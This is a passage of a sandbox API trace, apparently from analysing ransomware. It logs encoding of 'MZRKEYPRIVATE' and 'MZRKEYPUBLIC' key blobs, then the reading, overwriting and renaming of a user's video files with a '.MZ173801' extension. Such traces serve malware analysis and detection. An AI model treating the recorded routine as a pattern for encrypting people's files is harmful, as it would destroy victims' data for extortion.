rw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.607] GetCurrentThreadId () returned 0xab4 [0166.607] GetCurrentThreadId () returned 0xab4 [0166.607] GetCurrentThreadId () returned 0xab4 [0166.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.608] GetCurrentThreadId () returned 0xab4 [0166.608] GetCurrentThreadId () returned 0xab4 [0166.608] GetCurrentThreadId () returned 0xab4 [0166.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.608] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.608] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.608] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x9918 [0166.608] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.608] ReadFile (in: hFile=0x27c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x9918, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f480*=0x9918, lpOverlapped=0x0) returned 1 [0166.735] CloseHandle (hObject=0x27c) returned 1 [0166.736] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.737] WriteFile (in: hFile=0x27c, lpBuffer=0x24b1e70*, nNumberOfBytesToWrite=0x9918, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b1e70*, lpNumberOfBytesWritten=0x19f48c*=0x9918, lpOverlapped=0x0) returned 1 [0166.739] CloseHandle (hObject=0x27c) returned 1 [0166.743] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\fhSP KphnxTI.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\fhsp kphnxti.flv.mz173801")) returned 1 [0166.743] GetCurrentThreadId () returned 0xab4 [0166.744] GetCurrentThreadId () returned 0xab4 [0166.744] GetCurrentThreadId () returned 0xab4 [0166.744] GetCurrentThreadId () returned 0xab4 [0166.744] GetCurrentThreadId () returned 0xab4 [0166.744] GetCurrentThreadId () returned 0xab4 [0166.744] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe550bc20, ftCreationTime.dwHighDateTime=0x1d5ed14, ftLastAccessTime.dwLowDateTime=0x6b28d6d0, ftLastAccessTime.dwHighDateTime=0x1d5ed9b, ftLastWriteTime.dwLowDateTime=0x6b28d6d0, ftLastWriteTime.dwHighDateTime=0x1d5ed9b, nFileSizeHigh=0x0, nFileSizeLow=0x160c9, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="gypaWQDSFuYxA4ea_Oei.mkv", cAlternateFileName="GYPAWQ~1.MKV")) returned 1 [0166.744] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.744] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe550bc20, ftCreationTime.dwHighDateTime=0x1d5ed14, ftLastAccessTime.dwLowDateTime=0x6b28d6d0, ftLastAccessTime.dwHighDateTime=0x1d5ed9b, ftLastWriteTime.dwLowDateTime=0x6b28d6d0, ftLastWriteTime.dwHighDateTime=0x1d5ed9b, nFileSizeHigh=0x0, nFileSizeLow=0x160c9)) returned 1 [0166.744] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv")) returned 0x20 [0166.744] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv", dwFileAttributes=0x80) returned 1 [0166.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSb